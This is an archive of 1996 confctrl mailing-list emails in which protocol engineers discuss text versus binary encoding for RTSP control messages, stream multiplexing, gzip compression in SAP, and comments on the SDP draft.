Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id QAA22453; Fri, 22 Nov 1996 16:21:54 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA26047;
          Fri, 22 Nov 1996 16:21:55 -0700
Message-Id: <329643D5.10E1@netscape.com>
Date: Fri, 22 Nov 1996 16:22:45 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Mark Handley <mjh@isi.edu>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <6351.848707329@mercury.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark Handley wrote:

{SNIP]
> >  *  Interleaving data/control within a single TCP connection using a
> >text-based protocol will be awkward if the goal is to minimize header size
> 
> The only large messages are likely to relate to media startup, so are
> infrequent, and represent discontinuities anyway.  The format Henning
> suggesting takes about 50 bytes client->server and 18 bytes (payload)
> server->client for a typical command ("PLAY") during a session.
> 

The  problem is when you want to interleave potentially multiple control
and data channels on the same  connection.  As the current proposal
stands, data packets get slapped on with a somewhat hefty header.

If we find a way around this(some "escape" mechanism), a text based
control protocol(with its obvious advantages) with the ability to have
binary parts for control messages might be a better option compared to
plain old binary.


-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Fri Nov 22 14:44:45 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01382>; Fri, 22 Nov 1996 16:44:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01376>; Fri, 22 Nov 1996 16:44:47 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA08793>; Fri, 22 Nov 1996 16:44:47 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id TAA06451; Fri, 22 Nov 1996 19:44:45 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Anup Rao <anup@netscape.com>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com, jg@w3.org
Subject: Re: RTSP: Text v. Binary Control 
In-Reply-To: Your message of "Fri, 22 Nov 96 16:22:45 PST."
             <329643D5.10E1@netscape.com> 
Date: Fri, 22 Nov 96 19:44:45 -0500
Message-Id: <5733.848709885@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The  problem is when you want to interleave potentially multiple control
>and data channels on the same  connection.  As the current proposal
>stands, data packets get slapped on with a somewhat hefty header.
>
>If we find a way around this(some "escape" mechanism), a text based
>control protocol(with its obvious advantages) with the ability to have
>binary parts for control messages might be a better option compared to
>plain old binary.

My understanding was that in the new model, RTSP control was carried
over a Mux protocol in the single TCP case.

One candidate is Jim Gettys' Simple MUX Protocol
  http://www.w3.org/pub/WWW/Protocols/MUX/WD-mux-961023.html
Note: I'm sure there's a later draft than this because I have a paper
copy, but I can't find it on W3C's server.  It's similar to SCP, but
seems to me to be better suited to muxing many protocols together,
which is what you want to do in this case.

Typically this adds 4 bytes per fragment you carry on your single
connection, which should be acceptable.

Personally I don't like the idea of audio/video data on TCP, but I
don't think using ASCII for the RTSP control protocol precludes it in
any way.

Mark

From majordom@ISI.EDU  Fri Nov 22 10:45:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08451>; Fri, 22 Nov 1996 18:53:45 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08439>; Fri, 22 Nov 1996 18:53:42 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA14152>; Fri, 22 Nov 1996 18:53:41 -0800
Received: from socks.precept.com by precept.com (5.x/SMI-4.1)
	id AA07964; Fri, 22 Nov 1996 18:53:41 -0800
Message-Id: <2.2.32.19961123024533.006f85c8@pophost.precept.com>
X-Sender: valerie@pophost.precept.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 22 Nov 1996 18:45:33 -0800
To: Mark Handley<mjh@isi.edu>, confctrl@isi.edu
From: Valerie Lasker <valerie@precept.com>
Subject: Re: New SAP draft draft-01.1
Cc: mjh@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:16 PM 11/19/96 -0500, Mark Handley wrote:
>- The SAP P bit is now replaced by a C (compression) bit to allow SDP
>  payloads to be compressed.  I'm not completely convinced by this, but
>  when we have authentication headers we get somewhat cramped for space
>  in a 1K packet, so it seems like a reasonable idea.
>

I'm concerned about the requirement for gzip compression on my Windows 95 &
NT SDR products.

The most common compression programs used in the PC world are pkzip and
WinZip. These programs use a different algorithm than that used by gzip. The
latest Winzip code can uncompress gzip files, but it is a Windows app. and
therefore not callable from SDR/SAP packet parsing software.

Is there readily-available gzip source code for the PC?

-- Valerie 


From majordom@ISI.EDU  Fri Nov 22 12:32:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10648>; Fri, 22 Nov 1996 20:35:27 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10642>; Fri, 22 Nov 1996 20:35:25 -0800
Received: from hofmann.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-25)
	id <AA16704>; Fri, 22 Nov 1996 20:35:25 -0800
Received: from internaut.com (Cust108.Max16.Seattle.WA.MS.UU.NET [153.34.42.236]) by hofmann.CS.Berkeley.EDU (8.6.11/8.6.6.Beta11) with SMTP id UAA20363; Fri, 22 Nov 1996 20:35:11 -0800
Received: from [204.57.137.9] by internaut.com (NX5.67c/NeXT-3.0)
	id AA09428; Fri, 22 Nov 96 20:29:13 -0800
Received: by multi with Microsoft Mail
	id <01BBD8B4.557D2B80@multi>; Fri, 22 Nov 1996 20:32:52 -0800
Message-Id: <01BBD8B4.557D2B80@multi>
From: Bernard Aboba <aboba@internaut.com>
To: "confctrl@isi.edu" <confctrl@isi.edu>,
        "'Rob Lanphier'"
	 <robla@prognet.com>
Cc: "rtsp-partners@netscape.com" <rtsp-partners@netscape.com>
Subject: RE: RTSP: Text v. Binary Control
Date: Fri, 22 Nov 1996 20:32:51 -0800
Encoding: 7 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There is a certain logic to using a text-based approach, and converging the syntax
of the resulting headers with HTTP. In fact, when you consider the headers that are
likely to result from this, it becomes apparent that they would make useful additions
to the HTTP specification. 

Which begs the question: why can't the RTSP control functionality be implemented as
an HTTP extension? 


From majordom@ISI.EDU  Sat Nov 23 01:52:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26510>; Sat, 23 Nov 1996 09:52:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26503>; Sat, 23 Nov 1996 09:52:11 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA03084>; Sat, 23 Nov 1996 09:52:11 -0800
Received: from little-bear.precept.com by precept.com (5.x/SMI-4.1)
	id AA08517; Sat, 23 Nov 1996 09:52:02 -0800
Date: Sat, 23 Nov 1996 09:52:00 -0800 (PST)
From: Karl Auerbach <karl@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
In-Reply-To: <2.2.32.19961122233116.00c6278c@mail.prognet.com>
Message-Id: <Pine.SOL.3.93.961123094148.15243A-100000@little-bear.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> So, I'd like to start a discussion on the pros and cons of text-based vs.
> binary protocol.  Is there a strong feeling one way or another, and if so,
> which way?  

Text generally works OK -- except that folks often leak internal line
endings rather than CRLF (hence we sometimes see Mac's sending LFCR and
Un*x's sending unadorned LF).  And the most common implementation problem
seems to happen on receivers when they get one recv() ending with the CR
and the next starting with the LF.

And are NVT escape sequences allowed?  (Please say "no".)

It's also useful to explicitly state what constitutes whitespace and what
constitutes the character set.  (Some folks sometimes leak wide character
sets rather than 7 bit ascii.)

Finally, since CRLF delimited text sometimes results in really long lines,
there should be some statement about maximum line sizes, so that folks can
have a clue about line buffering requirements.

If the specification told implementors to beware of these, then I'd vote
for text over binary.

		--karl--




From majordom@ISI.EDU  Sat Nov 23 23:16:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00952>; Sat, 23 Nov 1996 13:18:21 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00946>; Sat, 23 Nov 1996 13:18:20 -0800
Received: from cismsun.univ-lyon1.fr by venera.isi.edu (5.65c/5.61+local-25)
	id <AA08480>; Sat, 23 Nov 1996 13:18:18 -0800
Received: (from lucia@localhost) by cismsun.univ-lyon1.fr (8.6.12/8.6.12) id WAA11968; Sat, 23 Nov 1996 22:16:46 +0100
Message-Id: <199611232116.WAA11968@cismsun.univ-lyon1.fr>
Subject: Re: comments on SDP draft-03
To: mjh@ISI.EDU (Mark Handley)
Date: Sat, 23 Nov 1996 22:16:46 +0100 (MET)
From: "Lucia Gradinariu" <lucia@univ-lyon1.fr>
Cc: confctrl@ISI.EDU
In-Reply-To: <854.848669870@mercury.lcs.mit.edu> from "Mark Handley" at Nov 22, 96 08:37:50 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2268      
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

some comments related to an eventual quality attribute but not only...

when someone has to announce a more complex session (using more then
one instanciation of each media, a local session manager to offer
a friendly user interface and to do a certain quality management, etc)

- could he declare a=media_tool:name to let the local session manager 
disseminate which application to start in the case where there are two (say 
video) channels reclaiming different applications (say for quality consideration)

- if a local session manager has to change media format or media quality during
the session ( while trading bandwidth, quality and priority to fit declared
CT) how could this be announced ? consequently is a=quality easy to manage
in a complex session announce?

- a conference control protocol should not be consider like a media as a 
conference is or it is not under control. if control appears like an m=
then somebody can start some other media declared also like m= without starting
the local control tool and escape from the control policy (unless there are
some means to declare all media under control and to disable their reception
until the control tool is started) This is also unclear from the draft spec.

- the draft does not propose how can someone negociate a session & media description
(actually there is sdr cilent but  mailing a description file to the server
might be helpful when you need to announce a session and you have no sdr client
at home; + a verification procedure)

- there is (i think) no mean to connect to a session otherwise than starting
tools for each media + a communication control (eventually). the problem is
if one session uses a local session manager which starts tools only when and
with the quality users need to accomplish a common task, then how this local
manager could be advertised in SDP?

thanks for your time,


--------------------------------------------------------------------------------
Lucia GRADINARIU, Eng.
CISM-Univ. Cl. Bernard Lyon1			voice:(33).72.43.13.69
Bat. 101 Bd. du 11 Novembre 1918		fax:(33).72.44.84.10
69622 Villeurbanne FRANCE			email:lucia@univ-lyon1.fr
		http://www.univ-lyon1.fr/CISM/lucia
---------------------------------------------------------------------------------





From majordom@ISI.EDU  Wed Nov 23 19:06:27 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11194>; Sat, 23 Nov 1996 21:06:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11188>; Sat, 23 Nov 1996 21:06:35 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20583>; Sat, 23 Nov 1996 21:06:34 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id AAA09190; Sun, 24 Nov 1996 00:06:27 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Lucia Gradinariu" <lucia@univ-lyon1.fr>
Cc: confctrl@ISI.EDU
Subject: Re: comments on SDP draft-03 
In-Reply-To: Your message of "Sat, 23 Nov 96 22:16:46 +0100."
             <199611232116.WAA11968@cismsun.univ-lyon1.fr> 
Date: Sun, 24 Nov 96 00:06:27 -0500
Message-Id: <10078.848811987@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>some comments related to an eventual quality attribute but not only...
>
>when someone has to announce a more complex session (using more then
>one instanciation of each media, a local session manager to offer
>a friendly user interface and to do a certain quality management, etc)
>
>- could he declare a=media_tool:name to let the local session manager 
>disseminate which application to start in the case where there are two (say 
>video) channels reclaiming different applications (say for quality considerati
>on)

It's not illegal, but I'd really want to discourage this strongly.  If
the description doesn't provide functional reasons to choose between
potential tools, then I believe it should be a local choice not
dictated by the session initiator.

>- if a local session manager has to change media format or media quality durin
>g
>the session ( while trading bandwidth, quality and priority to fit declared
>CT) how could this be announced ? consequently is a=quality easy to manage
>in a complex session announce?

This is not a property of the description protocol, but of the context
in which you might use the description protocol.  Consequently it's
outside the scope of this draft.  It might be appropriate to do this
in SCCP or RTSP or some other persistent stream control protocol.

>- a conference control protocol should not be consider like a media as a 
>conference is or it is not under control. if control appears like an m=
>then somebody can start some other media declared also like m= without startin
>g
>the local control tool and escape from the control policy (unless there are
>some means to declare all media under control and to disable their reception
>until the control tool is started) This is also unclear from the draft spec.

I'm not sure I understand you.  You can never enforce legal compliance
with aprotocol or any recommendation in any networking context -
people will alwasy try to break the rules.  

>- the draft does not propose how can someone negociate a session & media descr
>iption
>(actually there is sdr cilent but  mailing a description file to the server
>might be helpful when you need to announce a session and you have no sdr clien
>t
>at home; + a verification procedure)

Again, this is a description format.  How you do negotiation is
outside the context of this draft.  See teh SIP and SCIP drafts for
ways you might choose to do limited negotiation (or H.245 if you have
a lot of spare time).

>- there is (i think) no mean to connect to a session otherwise than starting
>tools for each media + a communication control (eventually). the problem is
>if one session uses a local session manager which starts tools only when and
>with the quality users need to accomplish a common task, then how this local
>manager could be advertised in SDP?

See SIP, SAP, SCIP, H.323/Q.321 and T.124 for five diffrent ways to do this.
The first three can easily use SDP.  

Mark

From majordom@ISI.EDU  Sun Nov 24 01:55:28 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16824>; Sun, 24 Nov 1996 01:29:30 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16818>; Sun, 24 Nov 1996 01:29:29 -0800
Received: from aun.uninett.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26947>; Sun, 24 Nov 1996 01:29:27 -0800
Received: from dale.uninett.no (actually trhm6.or.uninett.no) by aun.uninett.no 
          with SMTP (PP); Sun, 24 Nov 1996 10:27:40 +0100
Received: from dale.uninett.no (localhost [127.0.0.1]) 
          by dale.uninett.no (8.6.9/8.6.12) with ESMTP id AAA02760;
          Sun, 24 Nov 1996 00:55:28 +0100
From: Harald.T.Alvestrand@uninett.no
To: Valerie Lasker <valerie@precept.com>
Cc: Mark Handley <mjh@ISI.EDU>, confctrl@ISI.EDU
Subject: Re: New SAP draft draft-01.1
In-Reply-To: Your message of "Fri, 22 Nov 1996 18:45:33 PST." <2.2.32.19961123024533.006f85c8@pophost.precept.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <2756.848793327.1@dale.uninett.no>
Date: Sun, 24 Nov 1996 00:55:28 +0100
Message-Id: <2758.848793328@dale.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There's a readily available C library for compression and
decompression according to the RFCs that describe "gzip"
compression.

You'll find the references in RFC 1950, 1951 or 1952.

                 Harald A

From majordom@ISI.EDU  Mon Nov 25 07:19:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28544>; Mon, 25 Nov 1996 09:19:51 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28538>; Mon, 25 Nov 1996 09:19:49 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29117>; Mon, 25 Nov 1996 09:19:35 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.2/8.6.6) with SMTP id MAA21388; Mon, 25 Nov 1996 12:19:11 -0500 (EST)
Message-Id: <3299D50F.215B@cs.columbia.edu>
Date: Mon, 25 Nov 1996 12:19:11 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Karl Auerbach <karl@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU,
        rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <Pine.SOL.3.93.961123094148.15243A-100000@little-bear.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Karl Auerbach wrote:
> 
> > So, I'd like to start a discussion on the pros and cons of text-based vs.
> > binary protocol.  Is there a strong feeling one way or another, and if so,
> > which way?
> 
> Text generally works OK -- except that folks often leak internal line
> endings rather than CRLF (hence we sometimes see Mac's sending LFCR and
> Un*x's sending unadorned LF).  And the most common implementation problem
> seems to happen on receivers when they get one recv() ending with the CR
> and the next starting with the LF.
> 
> And are NVT escape sequences allowed?  (Please say "no".)

Emphatic no.

> 
> It's also useful to explicitly state what constitutes whitespace and what
> constitutes the character set.  (Some folks sometimes leak wide character
> sets rather than 7 bit ascii.)
> 
> Finally, since CRLF delimited text sometimes results in really long lines,
> there should be some statement about maximum line sizes, so that folks can
> have a clue about line buffering requirements.
> 
> If the specification told implementors to beware of these, then I'd vote
> for text over binary.

Karl, would the HTTP/1.1 recommendation (being the most recent and
widely tested) be sufficient to address your questions? There is no
reason to come up with new recommendations for every text-based protocol
in the Internet.

> 
>                 --karl--

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Nov 25 07:24:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28987>; Mon, 25 Nov 1996 09:24:54 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28981>; Mon, 25 Nov 1996 09:24:53 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29532>; Mon, 25 Nov 1996 09:24:49 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.2/8.6.6) with SMTP id MAA21702; Mon, 25 Nov 1996 12:24:47 -0500 (EST)
Message-Id: <3299D65E.417@cs.columbia.edu>
Date: Mon, 25 Nov 1996 12:24:46 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU,
        rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <6351.848707329@mercury.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark Handley wrote:
> 

> >  *  Parsing will be a bit more computationally expensive
> 
> I wouldn't expect this to be significant compared to playing or
> decoding the streams - WWW servers don't have a big problem with this,
> despite the incredibly long sets of "Accept" fields - something I
> would hope we'd avoid.

Only Mosaic has (probably "had" by now) these accept monster headers.
Netscape has 

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

The accept headers in this case would also likely be very small (as long
as the number of session description formats doesn't balloon, which we
want to avoid for complexity reasons) and would in any event only be
used for the initial GET.

 
> Take HTTP as an example - many things were wrong with HTTP, and are
> slowly being refined, but the one thing that hasn't been changed is
> the text based nature of its control messages.
> 
> The real question is do you really care about saving every last byte
> in this context?  I don't believe we do.  Now for the actual data
> stream, it's a completely different story...
> 
> Mark

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Nov 25 07:29:39 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29562>; Mon, 25 Nov 1996 09:29:52 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29547>; Mon, 25 Nov 1996 09:29:50 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00164>; Mon, 25 Nov 1996 09:29:48 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.2/8.6.6) with SMTP id MAA23018; Mon, 25 Nov 1996 12:29:39 -0500 (EST)
Message-Id: <3299D783.2497@cs.columbia.edu>
Date: Mon, 25 Nov 1996 12:29:39 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>
Cc: confctrl@ISI.EDU, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <6351.848707329@mercury.lcs.mit.edu> <329643D5.10E1@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:
> 
> Mark Handley wrote:
> 
> {SNIP]
> > >  *  Interleaving data/control within a single TCP connection using a
> > >text-based protocol will be awkward if the goal is to minimize header size
> >
> > The only large messages are likely to relate to media startup, so are
> > infrequent, and represent discontinuities anyway.  The format Henning
> > suggesting takes about 50 bytes client->server and 18 bytes (payload)
> > server->client for a typical command ("PLAY") during a session.
> >
> 
> The  problem is when you want to interleave potentially multiple control
> and data channels on the same  connection.  As the current proposal
> stands, data packets get slapped on with a somewhat hefty header.
> 
> If we find a way around this(some "escape" mechanism), a text based
> control protocol(with its obvious advantages) with the ability to have
> binary parts for control messages might be a better option compared to
> plain old binary.

Rob Lanphier and I had discussed a minimal "escape hatch", which would
actually be shorter than the current RTSP encapsulation. It would be
something along the lines of

$[stream id][length]

where payload length is a 16-bit binary. If you need a stream ID (this
depends on whether the RTP SSRC is considered sufficient or not), that
adds another byte or two, since this stream ID can be chosen by the
sender and thus can be tightly allocated. 


-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Nov 25 04:55:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19842>; Mon, 25 Nov 1996 12:56:47 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19836>; Mon, 25 Nov 1996 12:56:45 -0800
Received: from c3po.mcom.com (h-205-217-237-46.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18876>; Mon, 25 Nov 1996 12:56:43 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by c3po.mcom.com (8.7.5/8.7.3) with ESMTP id MAA12397; Mon, 25 Nov 1996 12:56:05 -0800 (PST)
Received: from core ([207.1.143.99]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA15653;
          Mon, 25 Nov 1996 12:56:05 -0700
Message-Id: <329A07DF.ABD@netscape.com>
Date: Mon, 25 Nov 1996 12:55:59 -0800
From: Rob McCool <robm@netscape.com>
Organization: Netscape Communications
X-Mailer: Mozilla 3.01 (X11; U; IRIX 5.3 IP22)
Mime-Version: 1.0
To: Mark Handley <mjh@isi.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@isi.edu,
        rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <6351.848707329@mercury.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> I wouldn't expect this to be significant compared to playing or
> decoding the streams - WWW servers don't have a big problem with this,
> despite the incredibly long sets of "Accept" fields - something I
> would hope we'd avoid.

To a degree this is true, but we've found that the parsing can become
problematic when you're trying to scale a Web server. One of the most
effective optimizations involves minimizing the amount of the request
that you have to parse, i.e. read the first line and return a cached
copy of the file. I don't have exact figures about how much this helped
our HTTP servers scale because that change was applied along with many
others, but the total was significant.

I'm not saying that a binary format would be any more efficient in this
context, or that string parsing will affect RTSP scalability. I just
don't think we should dismiss the potential cost of string parsing yet.

> My personal opinion is that I prefer text based *control* protocols
> because of their great flexibility and extensibility.  They're much
> easier to debug, and to program in languages like Perl and TCL which
> make for fast prototyping and ease of experimentation.  They're also
> much easier to give as examples in specification documents, which does
> help them get implemented correctly.
> 
> Take HTTP as an example - many things were wrong with HTTP, and are
> slowly being refined, but the one thing that hasn't been changed is
> the text based nature of its control messages.

True, but the current HTTP-NG proposals drop the text format in favor of
SCP and ASN.1. Whether or not HTTP-NG will ever see widespread adoption
is another discussion entirely :)

--Rob

From majordom@ISI.EDU  Mon Nov 25 23:03:48 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20505>; Mon, 25 Nov 1996 13:04:28 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20498>; Mon, 25 Nov 1996 13:04:25 -0800
Received: from domen.uninett.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA19391>; Mon, 25 Nov 1996 13:04:19 -0800
Received: from domen.uninett.no by domen.uninett.no with SMTP (PP) 
          id <24983-0@domen.uninett.no>; Mon, 25 Nov 1996 22:04:02 +0100
X-Mailer: exmh version 1.6.7 5/3/96
From: Harald.T.Alvestrand@uninett.no
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Anup Rao <anup@netscape.com>, confctrl@ISI.EDU, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
In-Reply-To: Your message of "Mon, 25 Nov 1996 12:29:39 EST." <3299D783.2497@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 25 Nov 1996 22:03:48 +0100
Message-Id: <24979.848955828@domen.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

If you want binary inside a text protocol, consider
stealing the counted literals from IMAP.
No sense in reinventing wheels.

            Harald A



From majordom@ISI.EDU  Mon Nov 25 06:35:45 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27000>; Mon, 25 Nov 1996 14:35:59 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26984>; Mon, 25 Nov 1996 14:35:56 -0800
Received: from c3po.mcom.com (h-205-217-237-46.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26269>; Mon, 25 Nov 1996 14:35:55 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by c3po.mcom.com (8.7.5/8.7.3) with ESMTP id OAA15711; Mon, 25 Nov 1996 14:35:54 -0800 (PST)
Received: from core ([207.1.143.99]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA5915;
          Mon, 25 Nov 1996 14:35:53 -0700
Message-Id: <329A1F41.7DE1@netscape.com>
Date: Mon, 25 Nov 1996 14:35:45 -0800
From: Rob McCool <robm@netscape.com>
Organization: Netscape Communications
X-Mailer: Mozilla 3.01 (X11; U; IRIX 5.3 IP22)
Mime-Version: 1.0
To: Mark Handley <mjh@isi.edu>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: streaming and conferences
References: <5434.848700406@mercury.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> >This requirement seems to be most easily met by making one of
> >the following changes to the current RTSP SET_TRANSPORT
> >message:
> >
> >* Add a new channel ID, which as its transport specific data
> >  takes a group of addresses. The addresses would not need to be
> >  the same as the address of the RTSP peer, and could
> >  potentially consist of a mix of multicast and unicast
> >  addresses. Upon delivery, the server would send packets to all
> >  of them.
> 
> ...
> 
> >Is this extension of the protocol scope wide enough to make it
> >useful to conference applications, yet narrow enough to keep the
> >protocol focused on streaming applications? If it's not enough
> >to be useful to conference applications, what additional
> >extensions would be required?
> 
> It sounds like it's close, but the client must also specify encodings
> to be used for playback (i.e, those that are being used in the
> conference session).  If necessary, the server has to be able to reply
> that it can't comply with the encodings.

I'm assuming you mean data encodings such as which codec to use. This is
something which the current RTSP doesn't address, in the current model
the server simply tells the client what encoding a particular clip uses
after the client requests it. Any additional information or knowledge of
available encodings prior to the request is handled out of band. 

